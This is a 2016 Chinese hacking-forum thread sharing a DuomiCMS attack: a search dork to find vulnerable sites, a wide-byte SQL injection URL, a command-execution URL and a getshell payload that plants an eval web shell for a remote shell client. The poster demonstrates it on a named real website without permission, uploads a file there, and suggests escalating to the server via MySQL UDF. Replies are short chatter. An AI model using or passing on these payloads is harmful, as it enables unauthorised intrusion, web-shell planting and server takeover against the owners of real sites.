请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1857|回复: 11

【新人帖】DuomiCMS存在注入+命令执行打包可提权服务器

[复制链接]
  • TA的每日心情
    开心
    昨天 15:04
  • 签到天数: 53 天

    [LV.5]常住居民I

    发表于 2016-5-28 19:50:42 | 显示全部楼层 |阅读模式
    百度或者谷歌关键词:Powered by DuomiCMS
    QQ截图20160528193639.png
    目前使用这种cms系统的站点还是很多的

    宽字节注入:search.php?area=%bf%27%bf%22&page=1&searchtype=5&tid=11
    命令执行:search.php?area=诚%27);phpinfo();//&page=1&searchtype=5&tid=11
    GETSHELL:search.php?area=诚%27);@eval($_POST[1]);//&page=1&searchtype=5&tid=11

    我随便找一个示范,示范站点:http://www.3myy.com/

    http://www.3myy.com/search.php?area=诚%27);@eval($_POST[1]);//&page=1&searchtype=5&tid=11 直接添加到菜刀密码1
    QQ截图20160528194206.png


    上传个txt文件试试,地址:http://www.3myy.com/sssie.txt
    QQ截图20160528194525.png
    坏事就不做了走人了~

    至于提权服务器,因为这种视频站很多都是以一台服务器搭建的独立站点所以很多mysql都是用的root配合暗月的udf提取杠杠的

    新人第一次发帖勿喷!
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-5-29 09:47:32 | 显示全部楼层
    楼主可真会忽略过程啊,下次注意了
  • TA的每日心情
    开心
    昨天 15:04
  • 签到天数: 53 天

    [LV.5]常住居民I

     楼主| 发表于 2016-5-29 10:08:09 | 显示全部楼层
    嗯下次我会注意的
  • TA的每日心情
    擦汗
    2017-3-20 12:48
  • 签到天数: 79 天

    [LV.6]常住居民II

    发表于 2016-5-29 11:24:38 | 显示全部楼层
    你确定 可以?楼主?
  • TA的每日心情
    开心
    昨天 15:04
  • 签到天数: 53 天

    [LV.5]常住居民I

     楼主| 发表于 2016-5-29 13:26:42 | 显示全部楼层
    xiaobaila 发表于 2016-5-29 11:24
    你确定 可以?楼主?

    演示站的search.php我删了为防后来的人爆菊花
  • TA的每日心情
    擦汗
    2017-3-20 12:48
  • 签到天数: 79 天

    [LV.6]常住居民II

    发表于 2016-5-29 16:28:42 | 显示全部楼层
    lingfei47 发表于 2016-5-29 13:26
    演示站的search.php我删了为防后来的人爆菊花

    .....................                搞不懂那个 注入
  • TA的每日心情
    慵懒
    昨天 14:30
  • 签到天数: 169 天

    [LV.7]常住居民III

    发表于 2016-5-30 08:23:13 | 显示全部楼层
    都玩坏了的
  • TA的每日心情
    奋斗
    昨天 16:51
  • 签到天数: 257 天

    [LV.8]以坛为家I

    发表于 2016-5-30 12:05:51 | 显示全部楼层
       这不是乌云的洞么?
  • TA的每日心情
    奋斗
    5 天前
  • 签到天数: 215 天

    [LV.7]常住居民III

    发表于 2016-5-30 18:12:35 来自手机 | 显示全部楼层
    有趣
    回复

    使用道具 举报

  • TA的每日心情
    开心
    昨天 15:04
  • 签到天数: 53 天

    [LV.5]常住居民I

     楼主| 发表于 2016-5-30 18:45:10 | 显示全部楼层
    Rz. 发表于 2016-5-30 12:05
    这不是乌云的洞么?

    so 到漏洞分享来发咯
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-3-29 01:51 , Processed in 0.221460 second(s), 35 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表